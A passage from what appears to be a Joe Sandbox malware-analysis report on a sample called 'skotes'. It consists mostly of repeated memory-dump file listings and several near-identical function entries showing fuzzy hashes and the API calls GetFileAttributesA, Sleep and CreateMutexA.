Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: cec441fbcfad1bdf8964d4a9bfadd348b23b193ec6c5b86612838c608c77fe7d
Instruction ID: a0e0293621f8262b88accbdccd21e45b0793dac3821cf8f19d636eb0852b7068
Opcode Fuzzy Hash: cec441fbcfad1bdf8964d4a9bfadd348b23b193ec6c5b86612838c608c77fe7d
Instruction Fuzzy Hash: C3314831B11144ABEB189B7CDD89BACB772DB85314F248318E014A73D2D77E69C08652

Function 0071A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0071A1B1
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: 8db22a49c82ef8e80eeb96e707239802faf7ba2f292049c883bcdffc79eee695
Instruction ID: 867a188877ee2bbd3b1b5972930344673b9283e82c79f0fcc0490941e58ca36e
Opcode Fuzzy Hash: 8db22a49c82ef8e80eeb96e707239802faf7ba2f292049c883bcdffc79eee695
Instruction Fuzzy Hash: 6D312731B01144EBEB189BBCDC89BADB772AFC6310F248719E014A73D5D77E59C08652

Function 0071A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0071A2E6
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: 72654d22df0547221d169bec5daa6473e2dd53a9e7e0b55104ffca6754e30508
Instruction ID: 00d4397d93c60eb8852462915942e0ceb55345f381c9905e8b69ddee31871426
Opcode Fuzzy Hash: 72654d22df0547221d169bec5daa6473e2dd53a9e7e0b55104ffca6754e30508
Instruction Fuzzy Hash: 59316A31B01244EBEB189B7CDC887ACB772AF96314F248319E025A77D5D77EA9C08752

Function 0071A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0071A41B
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: ec521efa1d38b0efa8c41752a4ace9a7e92193cc2f51c68d7ba4cb06666e3f23
Instruction ID: 8b7f5d16fdb9d6b1f7ce2a743c02d47af99a62006755908bd61e2572d37cdb65
Opcode Fuzzy Hash: ec521efa1d38b0efa8c41752a4ace9a7e92193cc2f51c68d7ba4cb06666e3f23
Instruction Fuzzy Hash: 50315731A01144EBEB189BBCD8CDBADB662EF85314F248218E454A73C6D7BD69C08662

Function 0071A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0071A550
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: b2987f19e34ad7e51a87b96ddee5850faedd89b601a0bdf006a27d513e73f197
Instruction ID: a12d568456b421550866d6f2a4e872b2a0bb16a72836d5242bf9acb7cec5323e
Opcode Fuzzy Hash: b2987f19e34ad7e51a87b96ddee5850faedd89b601a0bdf006a27d513e73f197
Instruction Fuzzy Hash: E2314831605104EBEB18DBBCDDC9BACB762EB85314F248618E054A73D2D77DA9C08762

Function 0071A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0071A685
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
